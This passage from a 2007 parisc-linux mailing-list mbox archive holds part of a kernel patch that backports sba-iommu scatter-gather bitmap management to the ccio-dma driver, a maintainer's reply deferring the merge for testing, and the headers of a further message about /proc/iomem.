+#define RESMAP_MASK(n)		(~0UL << (BITS_PER_LONG - (n)))
+#define RESMAP_IDX_MASK		(sizeof(unsigned long) - 1)
+
+/**
+ * For most cases the normal get_order is sufficient, however it limits us
+ * to PAGE_SIZE being the minimum mapping alignment and TC flush granularity.
+ * It only incurs about 1 clock cycle to use this one with the static variable
+ * and makes the code more intuitive.
+ */
+static CCIO_INLINE int
+get_iovp_order(unsigned long size)
+{
+	int order;
+
+	size = (size - 1) >> (IOVP_SHIFT - 1);
+	order = -1;
+	do {
+		size >>= 1;
+		order++;
+	} while (size);
+	return order;
+}
+
 #define MKIOVP(pdir_idx)	((long)(pdir_idx) << IOVP_SHIFT)
-#define MKIOVA(iovp,offset)	(dma_addr_t)((long)iovp | (long)offset)
+#define MKIOVA(iovp, offset)	(dma_addr_t)((long)iovp | (long)offset)
+#define ROUNDUP(x, y)		((x + ((y)-1)) & ~((y)-1))
 
-/*
-** Don't worry about the 150% average search length on a miss.
-** If the search wraps around, and passes the res_hint, it will
-** cause the kernel to panic anyhow.
-*/
-#define CCIO_SEARCH_LOOP(ioc, res_idx, mask, size)  \
-       for(; res_ptr < res_end; ++res_ptr) { \
-               if(0 == (*res_ptr & mask)) { \
-                       *res_ptr |= mask; \
-                       res_idx = (unsigned int)((unsigned long)res_ptr - (unsigned long)ioc->res_map); \
-                       ioc->res_hint = res_idx + (size >> 3); \
-                       goto resource_found; \
-               } \
-       }
-
-#define CCIO_FIND_FREE_MAPPING(ioa, res_idx, mask, size) \
-       u##size *res_ptr = (u##size *)&((ioc)->res_map[ioa->res_hint & ~((size >> 3) - 1)]); \
-       u##size *res_end = (u##size *)&(ioc)->res_map[ioa->res_size]; \
-       CCIO_SEARCH_LOOP(ioc, res_idx, mask, size); \
-       res_ptr = (u##size *)&(ioc)->res_map[0]; \
-       CCIO_SEARCH_LOOP(ioa, res_idx, mask, size);
+/**
+ * ccio_search_bitmap - find free space in IO PDIR resource bitmap
+ * @ioc: IO MMU structure which owns the pdir we are interested in.
+ * @pages_wanted: number of entries we need.
+ *
+ * Find consecutive free bits in resource bitmap.
+ * Each bit represents one entry in the IO Pdir.
+ * Cool perf optimization: search for log2(size) bits at a time.
+ */
+static CCIO_INLINE address_t
+ccio_search_bitmap(struct ioc *ioc, unsigned long pages_wanted)
+{
+	address_t *res_ptr = ioc->res_hint;
+	address_t *res_end = (unsigned long *) &(ioc->res_map[ioc->res_size]);
+	address_t pide = ~0UL;
+
+	if (pages_wanted > (BITS_PER_LONG/2)) {
+		/* Search word at a time - no mask needed */
+		for(; res_ptr < res_end; ++res_ptr) {
+			if (*res_ptr == 0) {
+				*res_ptr = RESMAP_MASK(pages_wanted);
+				pide = ((address_t)res_ptr - (address_t)ioc->res_map);
+				pide <<= 3;     /* convert to bit address */
+				break;
+			}
+		}
+		/* point to the next word on next pass */
+		res_ptr++;
+		ioc->res_bitshift = 0;
+	} else {
+		/*
+		** Search the resource bit map on well-aligned values.
+		** "o" is the alignment.
+		** We need the alignment to invalidate I/O TLB using
+		** xxx HW features in the unmap path.
+		*/
+		unsigned long o = 1 << get_iovp_order(pages_wanted << IOVP_SHIFT);
+		uint bitshiftcnt = ROUNDUP(ioc->res_bitshift, o);
+		unsigned long mask;
 
-/*
-** Find available bit in this ioa's resource map.
-** Use a "circular" search:
-**   o Most IOVA's are "temporary" - avg search time should be small.
-** o keep a history of what happened for debugging
-** o KISS.
-**
-** Perf optimizations:
-** o search for log2(size) bits at a time.
-** o search for available resource bits using byte/word/whatever.
-** o use different search for "large" (eg > 4 pages) or "very large"
-**   (eg > 16 pages) mappings.
-*/
+		if (bitshiftcnt >= BITS_PER_LONG) {
+			bitshiftcnt = 0;
+			res_ptr++;
+		}
+		mask = RESMAP_MASK(pages_wanted) >> bitshiftcnt;
+
+		DBG_RES("%s() o %ld %p", __FUNCTION__, o, res_ptr);
+		while(res_ptr < res_end)
+		{
+			DBG_RES("    %p %lx %lx\n", res_ptr, mask, *res_ptr);
+			WARN_ON(mask == 0);
+			if(((*res_ptr) & mask) == 0) {
+				*res_ptr |= mask;     /* mark resources busy! */
+				pide = ((address_t)res_ptr - (address_t)ioc->res_map);
+				pide <<= 3;     /* convert to bit address */
+				pide += bitshiftcnt;
+				break;
+			}
+			mask >>= o;
+			bitshiftcnt += o;
+			if (mask == 0) {
+				mask = RESMAP_MASK(pages_wanted);
+				bitshiftcnt=0;
+				res_ptr++;
+			}
+		}
+		/* look in the same word on the next pass */
+		ioc->res_bitshift = bitshiftcnt + pages_wanted;
+	}
+
+	/* wrapped ? */
+	if (res_end <= res_ptr) {
+		ioc->res_hint = (address_t *) ioc->res_map;
+		ioc->res_bitshift = 0;
+	} else {
+		ioc->res_hint = res_ptr;
+	}
+	return (pide);
+}
 
 /**
  * ccio_alloc_range - Allocate pages in the ioc's resource map.
@@ -347,7 +434,9 @@
 #ifdef CCIO_SEARCH_TIME
 	unsigned long cr_start = mfctl(16);
 #endif
-	
+
+	unsigned long	pide;
+
 	BUG_ON(pages_needed == 0);
 	BUG_ON((pages_needed * IOVP_SIZE) > DMA_CHUNK_SIZE);
 
@@ -359,44 +448,19 @@
 	** ggg sacrifices another 710 to the computer gods.
 	*/
 
-	if (pages_needed <= 8) {
-		/*
-		 * LAN traffic will not thrash the TLB IFF the same NIC
-		 * uses 8 adjacent pages to map seperate payload data.
-		 * ie the same byte in the resource bit map.
-		 */
-#if 0
-		/* FIXME: bit search should shift it's way through
-		 * an unsigned long - not byte at a time. As it is now,
-		 * we effectively allocate this byte to this mapping.
-		 */
-		unsigned long mask = ~(~0UL >> pages_needed);
-		CCIO_FIND_FREE_MAPPING(ioc, res_idx, mask, 8);
-#else
-		CCIO_FIND_FREE_MAPPING(ioc, res_idx, 0xff, 8);
-#endif
-	} else if (pages_needed <= 16) {
-		CCIO_FIND_FREE_MAPPING(ioc, res_idx, 0xffff, 16);
-	} else if (pages_needed <= 32) {
-		CCIO_FIND_FREE_MAPPING(ioc, res_idx, ~(unsigned int)0, 32);
-#ifdef __LP64__
-	} else if (pages_needed <= 64) {
-		CCIO_FIND_FREE_MAPPING(ioc, res_idx, ~0UL, 64);
-#endif
-	} else {
-		panic("%s: %s() Too many pages to map. pages_needed: %u\n",
-		       __FILE__,  __FUNCTION__, pages_needed);
+	pide = ccio_search_bitmap(ioc, pages_needed);
+	if (pide >= (ioc->res_size << 3)) {
+		pide = ccio_search_bitmap(ioc, pages_needed);
+		if (pide >= (ioc->res_size << 3))
+			panic("%s: %s() I/O MMU is out of mapping resources.\n", __FILE__,
+				__FUNCTION__);
 	}
 
-	panic("%s: %s() I/O MMU is out of mapping resources.\n", __FILE__,
-	      __FUNCTION__);
-	
-resource_found:
-	
 	DBG_RES("%s() res_idx %d res_hint: %d\n",
 		__FUNCTION__, res_idx, ioc->res_hint);
 
 #ifdef CCIO_SEARCH_TIME
+	udelay(100);
 	{
 		unsigned long cr_end = mfctl(16);
 		unsigned long tmp = cr_end - cr_start;
@@ -412,14 +476,9 @@
 	/*
 	** return the bit address.
 	*/
-	return res_idx << 3;
+	return (pide);
 }
 
-#define CCIO_FREE_MAPPINGS(ioc, res_idx, mask, size) \
-        u##size *res_ptr = (u##size *)&((ioc)->res_map[res_idx]); \
-        BUG_ON((*res_ptr & mask) != mask); \
-        *res_ptr &= ~(mask);
-
 /**
  * ccio_free_range - Free pages from the ioc's resource map.
  * @ioc: The I/O Controller.
@@ -430,42 +489,33 @@
  * This function frees the resouces allocated for the iova.
  */
 static void
-ccio_free_range(struct ioc *ioc, dma_addr_t iova, unsigned long pages_mapped)
+ccio_free_range(struct ioc *ioc, dma_addr_t iova, size_t size)
 {
 	unsigned long iovp = CCIO_IOVP(iova);
-	unsigned int res_idx = PDIR_INDEX(iovp) >> 3;
-
-	BUG_ON(pages_mapped == 0);
-	BUG_ON((pages_mapped * IOVP_SIZE) > DMA_CHUNK_SIZE);
-	BUG_ON(pages_mapped > BITS_PER_LONG);
 
-	DBG_RES("%s():  res_idx: %d pages_mapped %d\n",
-		__FUNCTION__, res_idx, pages_mapped);
+	unsigned int pide = PDIR_INDEX(iovp);
+	unsigned int ridx = pide >> 3;
+	unsigned long *res_ptr = (unsigned long *) &((ioc)->res_map[ridx & ~RESMAP_IDX_MASK]);
+
+	/* was: unsigned int pages_mapped = size >> IOVP_SHIFT; */
+	int bits_not_wanted = size >> IOVP_SHIFT;
+
+	/* 3-bits "bit" address plus 2 (or 3) bits for "byte" == bit in word */
+	unsigned long m = RESMAP_MASK(bits_not_wanted) >> (pide & (BITS_PER_LONG - 1));
+
+	BUG_ON(size == 0);
+	BUG_ON(size > DMA_CHUNK_SIZE);
+	BUG_ON(bits_not_wanted > BITS_PER_LONG);
+
+	DBG_RES("%s( ,%x,%x) %x/%lx %x %p %lx\n",
+		__FUNCTION__, (uint) iova, size,
+		bits_not_wanted, m, pide, res_ptr, *res_ptr);
 
 #ifdef CCIO_MAP_STATS
-	ioc->used_pages -= pages_mapped;
+	ioc->used_pages -= bits_not_wanted;
 #endif
 
-	if(pages_mapped <= 8) {
-#if 0
-		/* see matching comments in alloc_range */
-		unsigned long mask = ~(~0UL >> pages_mapped);
-		CCIO_FREE_MAPPINGS(ioc, res_idx, mask, 8);
-#else
-		CCIO_FREE_MAPPINGS(ioc, res_idx, 0xff, 8);
-#endif
-	} else if(pages_mapped <= 16) {
-		CCIO_FREE_MAPPINGS(ioc, res_idx, 0xffff, 16);
-	} else if(pages_mapped <= 32) {
-		CCIO_FREE_MAPPINGS(ioc, res_idx, ~(unsigned int)0, 32);
-#ifdef __LP64__
-	} else if(pages_mapped <= 64) {
-		CCIO_FREE_MAPPINGS(ioc, res_idx, ~0UL, 64);
-#endif
-	} else {
-		panic("%s:%s() Too many pages to unmap.\n", __FILE__,
-		      __FUNCTION__);
-	}
+	*res_ptr &= ~m;
 }
 
 /****************************************************************
@@ -664,32 +714,45 @@
 static CCIO_INLINE void
 ccio_mark_invalid(struct ioc *ioc, dma_addr_t iova, size_t byte_cnt)
 {
-	u32 iovp = (u32)CCIO_IOVP(iova);
+	uint32_t iovp = (uint32_t)CCIO_IOVP(iova);
+	u64 *pdir_ptr = &ioc->pdir_base[PDIR_INDEX(iovp)];
 	size_t saved_byte_cnt;
 
 	/* round up to nearest page size */
 	saved_byte_cnt = byte_cnt = ALIGN(byte_cnt, IOVP_SIZE);
 
-	while(byte_cnt > 0) {
-		/* invalidate one page at a time */
-		unsigned int idx = PDIR_INDEX(iovp);
-		char *pdir_ptr = (char *) &(ioc->pdir_base[idx]);
+	if (byte_cnt > IOVP_SIZE)
+	{
+		/* set "size" field for PCOM */
+		iovp |= get_iovp_order(byte_cnt) + IOVP_SHIFT;
 
-		BUG_ON(idx >= (ioc->pdir_size / sizeof(u64)));
-		pdir_ptr[7] = 0;	/* clear only VALID bit */
-		/*
-		** FIXME: PCX_W platforms don't need FDC/SYNC. (eg C360)
-		**   PCX-U/U+ do. (eg C200/C240)
-		** See PDC_MODEL/option 0/SW_CAP for "Non-coherent IO-PDIR bit".
-		**
-		** Hopefully someone figures out how to patch (NOP) the
-		** FDC/SYNC out at boot time.
-		*/
-		asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr[7]));
+		do {
+			/* clear I/O Pdir entry "valid" bit first */
+			((unsigned char *) pdir_ptr)[7] = 0;
+			/*
+			** FIXME: PCX_W platforms don't need FDC/SYNC. (eg C360)
+			**   PCX-U/U+ do. (eg C200/C240)
+			** See PDC_MODEL/option 0/SW_CAP for "Non-coherent IO-PDIR bit".
+			**
+			** Hopefully someone figures out how to patch (NOP) the
+			** FDC/SYNC out at boot time.
+			*/
+			asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr[7]));
+
+			pdir_ptr++;
+			byte_cnt -= IOVP_SIZE;
+		} while (byte_cnt > IOVP_SIZE);
+	} else
+		iovp |= IOVP_SHIFT;     /* set "size" field for PCOM */
 
-		iovp     += IOVP_SIZE;
-		byte_cnt -= IOVP_SIZE;
-	}
+	/*
+	** clear I/O PDIR entry "valid" bit.
+	** We have to R/M/W the cacheline regardless how much of the
+	** pdir entry that we clobber.
+	** The rest of the entry would be useful for debugging if we
+	** could dump core on HPMC.
+	*/
+	((unsigned char *) pdir_ptr)[7] = 0;
 
 	asm volatile("sync");
 	ccio_clear_io_tlb(ioc, CCIO_IOVP(iova), saved_byte_cnt);
@@ -711,7 +774,7 @@
 static int
 ccio_dma_supported(struct device *dev, u64 mask)
 {
-	if(dev == NULL) {
+	if(!dev) {
 		printk(KERN_ERR MODULE_NAME ": EISA/ISA/et al not supported\n");
 		BUG();
 		return 0;
@@ -783,6 +846,9 @@
 		size -= IOVP_SIZE;
 	}
 
+	/* force FDC ops in io_pdir_entry() to be visible to IOMMU */
+	asm volatile("sync" :: );
+
 	spin_unlock_irqrestore(&ioc->res_lock, flags);
 
 	/* form complete address */
@@ -803,6 +869,9 @@
 		  enum dma_data_direction direction)
 {
 	struct ioc *ioc;
+#if DELAYED_RESOURCE_CNT > 0
+	struct ioc_dma_pair *d;
+#endif
 	unsigned long flags;
 	dma_addr_t offset = iova & ~IOVP_MASK;
 	
@@ -824,7 +893,30 @@
 #endif
 
 	ccio_mark_invalid(ioc, iova, size);
-	ccio_free_range(ioc, iova, (size >> IOVP_SHIFT));
+#if DELAYED_RESOURCE_CNT > 0
+	/* Delaying when we re-use a IO Pdir entry reduces the number
+	 * of MMIO reads needed to flush writes to the PCOM register.
+	 */
+	d = &(ioc->saved[ioc->saved_cnt]);
+	d->iova = iova;
+	d->size = size;
+	if (++(ioc->saved_cnt) >= DELAYED_RESOURCE_CNT) {
+		int cnt = ioc->saved_cnt;
+		while (cnt--) {
+			ccio_free_range(ioc, d->iova, d->size);
+			d--;
+		}
+		ioc->saved_cnt = 0;
+	}
+#else /* DELAYED_RESOURCE_CNT == 0 */
+
+	ccio_free_range(ioc, iova, size);
+
+	/* force fdc's to be visible now */
+	asm volatile("sync" :: );
+
+#endif /* DELAYED_RESOURCE_CNT == 0 */
+
 	spin_unlock_irqrestore(&ioc->res_lock, flags);
 }
 
@@ -952,6 +1044,9 @@
 	*/
 	filled = iommu_fill_pdir(ioc, sglist, nents, hint, ccio_io_pdir_entry);
 
+	/* force FDC ops in io_pdir_entry() to be visible to IOMMU */
+	asm volatile("sync" :: );
+
 	spin_unlock_irqrestore(&ioc->res_lock, flags);
 
 	BUG_ON(coalesced != filled);
@@ -993,11 +1088,12 @@
 
 	while(sg_dma_len(sglist) && nents--) {
 
-#ifdef CCIO_MAP_STATS
-		ioc->usg_pages += sg_dma_len(sglist) >> PAGE_SHIFT;
-#endif
 		ccio_unmap_single(dev, sg_dma_address(sglist),
 				  sg_dma_len(sglist), direction);
+#ifdef CCIO_MAP_STATS
+		ioc->usg_pages += sg_dma_len(sglist) >> IOVP_SHIFT;
+		ioc->usingle_calls--;   /* kluge since call is unmap_sg() */
+#endif
 		++sglist;
 	}
 
@@ -1025,16 +1121,12 @@
 	int len = 0;
 	struct ioc *ioc = ioc_list;
 
-	while (ioc != NULL) {
+	while (ioc) {
 		unsigned int total_pages = ioc->res_size << 3;
-		unsigned long avg = 0, min, max;
-		int j;
 
-		len += seq_printf(m, "%s\n", ioc->name);
-		
-		len += seq_printf(m, "Cujo 2.0 bug    : %s\n",
-				  (ioc->cujo20_bug ? "yes" : "no"));
-		
+		len += seq_printf(m, "%s%s\n", ioc->name,
+			(ioc->cujo20_bug ? " (Cujo 2.0 bug)" : ""));
+
 		len += seq_printf(m, "IO PDIR size    : %d bytes (%d entries)\n",
 			       total_pages * 8, total_pages);
 
@@ -1048,6 +1140,8 @@
 				  ioc->res_size, total_pages);
 
 #ifdef CCIO_SEARCH_TIME
+		unsigned long avg = 0, min, max;
+		int j;
 		min = max = ioc->avg_search[0];
 		for(j = 0; j < CCIO_SEARCH_SAMPLE; ++j) {
 			avg += ioc->avg_search[j];
@@ -1104,7 +1198,7 @@
 	int len = 0;
 	struct ioc *ioc = ioc_list;
 
-	while (ioc != NULL) {
+	while (ioc) {
 		u32 *res_ptr = (u32 *)ioc->res_map;
 		int j;
 
@@ -1252,9 +1346,12 @@
 static void
 ccio_ioc_init(struct ioc *ioc)
 {
-	int i;
-	unsigned int iov_order;
-	u32 iova_space_size;
+	int		i;
+	uint32_t	iov_order,
+			num_iommu_pages,
+			iova_space_size;
+
+	uint32_t	IO_ChainIdMask;
 
 	/*
 	** Determine IOVA Space size from memory size.
@@ -1267,16 +1364,15 @@
 	** Hot-Plug/Removal of PCI cards. (aka PCI OLARD).
 	*/
 
-	iova_space_size = (u32) (num_physpages / count_parisc_driver(&ccio_driver));
+	unsigned long phys_mem = num_physpages << PAGE_SHIFT;
+	iova_space_size = (u_int32_t) (phys_mem  / count_parisc_driver(&ccio_driver));
 
 	/* limit IOVA space size to 1MB-1GB */
 
-	if (iova_space_size < (1 << (20 - PAGE_SHIFT))) {
-		iova_space_size =  1 << (20 - PAGE_SHIFT);
-#ifdef __LP64__
-	} else if (iova_space_size > (1 << (30 - PAGE_SHIFT))) {
-		iova_space_size =  1 << (30 - PAGE_SHIFT);
-#endif
+	if (iova_space_size < (1 << 20)) {
+		iova_space_size =  1 << 20;
+	} else if (iova_space_size > (1 << 30)) {
+		iova_space_size =  1 << 30;
 	}
 
 	/*
@@ -1292,27 +1388,27 @@
 	**   this is the case under linux."
 	*/
 
-	iov_order = get_order(iova_space_size << PAGE_SHIFT);
+	iov_order = get_iovp_order(iova_space_size);
 
-	/* iova_space_size is now bytes, not pages */
-	iova_space_size = 1 << (iov_order + PAGE_SHIFT);
+	iova_space_size = 1 << (iov_order + IOVP_SHIFT);
 
-	ioc->pdir_size = (iova_space_size / IOVP_SIZE) * sizeof(u64);
+	num_iommu_pages = iova_space_size >> IOVP_SHIFT;
+	ioc->pdir_size = num_iommu_pages * PDIR_ENTRY_SIZE;
+
+	DBG_INIT("%s() hpa 0x%p mem %luMb IOV %uMb (%d bits)\n",
+			__FUNCTION__, ioc->ioc_regs,
+			phys_mem >> 20,
+			iova_space_size >> 20,
+			iov_order + IOVP_SHIFT);
 
 	BUG_ON(ioc->pdir_size > 8 * 1024 * 1024);   /* max pdir size <= 8MB */
 
 	/* Verify it's a power of two */
 	BUG_ON((1 << get_order(ioc->pdir_size)) != (ioc->pdir_size >> PAGE_SHIFT));
 
-	DBG_INIT("%s() hpa 0x%p mem %luMB IOV %dMB (%d bits)\n",
-			__FUNCTION__, ioc->ioc_regs,
-			(unsigned long) num_physpages >> (20 - PAGE_SHIFT),
-			iova_space_size>>20,
-			iov_order + PAGE_SHIFT);
-
 	ioc->pdir_base = (u64 *)__get_free_pages(GFP_KERNEL,
 						 get_order(ioc->pdir_size));
-	if(NULL == ioc->pdir_base) {
+	if(!(ioc->pdir_base)) {
 		panic("%s() could not allocate I/O Page Table\n", __FUNCTION__);
 	}
 	memset(ioc->pdir_base, 0, ioc->pdir_size);
@@ -1321,27 +1417,31 @@
 	DBG_INIT(" base %p\n", ioc->pdir_base);
 
 	/* resource map size dictated by pdir_size */
- 	ioc->res_size = (ioc->pdir_size / sizeof(u64)) >> 3;
+ 	ioc->res_size = num_iommu_pages >> 3;
 	DBG_INIT("%s() res_size 0x%x\n", __FUNCTION__, ioc->res_size);
 	
 	ioc->res_map = (u8 *)__get_free_pages(GFP_KERNEL,
 					      get_order(ioc->res_size));
-	if(NULL == ioc->res_map) {
+	if(!(ioc->res_map)) {
 		panic("%s() could not allocate resource map\n", __FUNCTION__);
 	}
 	memset(ioc->res_map, 0, ioc->res_size);
 
-	/* Initialize the res_hint to 16 */
-	ioc->res_hint = 16;
+	/* next available IOVP - circular search */
+	ioc->res_hint = (unsigned long *)
+		&(ioc->res_map[L1_CACHE_BYTES]);
 
 	/* Initialize the spinlock */
 	spin_lock_init(&ioc->res_lock);
 
+	IO_ChainIdMask = READ_U32(&ioc->ioc_regs->io_chain_id_mask);
+	DBG_INIT(" Default io_chain_id_mask 0x%x\n", IO_ChainIdMask);
+
 	/*
 	** Chainid is the upper most bits of an IOVP used to determine
 	** which TLB entry an IOVP will use.
 	*/
-	ioc->chainid_shift = get_order(iova_space_size) + PAGE_SHIFT - CCIO_CHAINID_SHIFT;
+	ioc->chainid_shift = iov_order + IOVP_SHIFT - CCIO_CHAINID_SHIFT;
 	DBG_INIT(" chainid_shift 0x%x\n", ioc->chainid_shift);
 
 	/*
@@ -1485,15 +1585,15 @@
 		return 0;
 
 	if (!expand_ioc_area(parent, size, min, max, align)) {
-		__raw_writel(((parent->start)>>16) | 0xffff0000,
+		WRITE_U32(((parent->start)>>16) | 0xffff0000,
 			     &ioc->ioc_regs->io_io_low);
-		__raw_writel(((parent->end)>>16) | 0xffff0000,
+		WRITE_U32(((parent->end)>>16) | 0xffff0000,
 			     &ioc->ioc_regs->io_io_high);
 	} else if (!expand_ioc_area(parent + 1, size, min, max, align)) {
 		parent++;
-		__raw_writel(((parent->start)>>16) | 0xffff0000,
+		WRITE_U32(((parent->start)>>16) | 0xffff0000,
 			     &ioc->ioc_regs->io_io_low_hv);
-		__raw_writel(((parent->end)>>16) | 0xffff0000,
+		WRITE_U32(((parent->end)>>16) | 0xffff0000,
 			     &ioc->ioc_regs->io_io_high_hv);
 	} else {
 		return -EBUSY;
@@ -1543,8 +1643,8 @@
 	struct ioc *ioc, **ioc_p = &ioc_list;
 	struct proc_dir_entry *info_entry, *bitmap_entry;
 	
-	ioc = kzalloc(sizeof(struct ioc), GFP_KERNEL);
-	if (ioc == NULL) {
+	ioc = kzalloc(sizeof(*ioc), GFP_KERNEL);
+	if (!ioc) {
 		printk(KERN_ERR MODULE_NAME ": memory allocation failure\n");
 		return 1;
 	}
@@ -1566,7 +1666,7 @@
 	dev->dev.platform_data = kzalloc(sizeof(struct pci_hba_data), GFP_KERNEL);
 
 	/* if this fails, no I/O cards will work, so may as well bug */
-	BUG_ON(dev->dev.platform_data == NULL);
+	BUG_ON(!(dev->dev.platform_data));
 	HBA_DATA(dev->dev.platform_data)->iommu = ioc;
 	
 	if (ioc_count == 0) {

--------------060309050404030803040800
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--------------060309050404030803040800--



From - Thu Nov 08 21:37:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch 2/2] backport of sba sg list management
	to ccio-dma
Date: Wed, 17 Oct 2007 14:44:16 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <20071017184416.GB11502__15553.7153048956$1416624646$gmane$org@fattire.cabal.ca>
References: <4714E800.50709@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624646 28520 80.91.229.3 (22 Nov 2014 02:50:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:46 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:28:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Oct 2007 17:04:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx019) with SMTP; 18 Oct 2007 19:04:32 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 32D187E8E0;
	Thu, 18 Oct 2007 11:04:27 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id QP0bNmuwYl8F; Thu, 18 Oct 2007 11:04:26 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CA8837E906;
	Thu, 18 Oct 2007 10:49:02 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1DA507E53D
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Oct 2007 12:44:33 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Qlm8HlMkrYXO for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Oct 2007 12:44:19 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 23D757E47D
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Oct 2007 12:44:19 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 10FDA494009; Wed, 17 Oct 2007 12:44:19 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by mail.parisc-linux.org (Postfix) with ESMTP id C224D494006;
	Wed, 17 Oct 2007 12:44:18 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 2470D58409F;
	Wed, 17 Oct 2007 14:44:18 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 91D84584097;
	Wed, 17 Oct 2007 14:44:17 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 1E4BF23E02; Wed, 17 Oct 2007 14:44:16 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <4714E800.50709@scarlet.be>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GaAkc0dkX1VoOOuYY2FyB0J3SDc4NMyK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25456

On Tue, Oct 16, 2007 at 04:34:08PM +0000, Joel Soete wrote:
> And here is the main hunk:
> 
> This consist of 'backporting' to ccio of the most of Grant's work on sg list
> management of sba-iommu.
> 
> According to some stress test on d380 it makes ncr driver more stable; 
> improve
> network perf on my d380 (from 110 to 430 kb/s);
> (would allow in a next step merge some hunk of sba code in iommu-helper.h)
> 

A long time ago (a couple months?) I merged large swaths of ccio and sba
code... unfortunately, it caused an almost measurable (~2-5%) loss of
performance on networking and scsi throughput...

I probably lost the code when my j6000 disk failed, but I'll probably
have another crack at it someday.

Anyway, the patch looks good, but it needs a bit of testing, so I think
we'll wait for 2.6.25 to merge it?

Regards,
	Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fix /proc/iomem
Date: Thu, 18 Oct 2007 15:31:48 -0600
Lines: 43
Approved: news@gmane.org
Message-ID: <20071018213148.GA20102__4950.10604286126$1416624646$gmane$org@colo.lackof.org>
References: <20071014144826.GF29934@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624646 28526 80.91.229.3 (22 Nov 2014 02:50:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:46 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
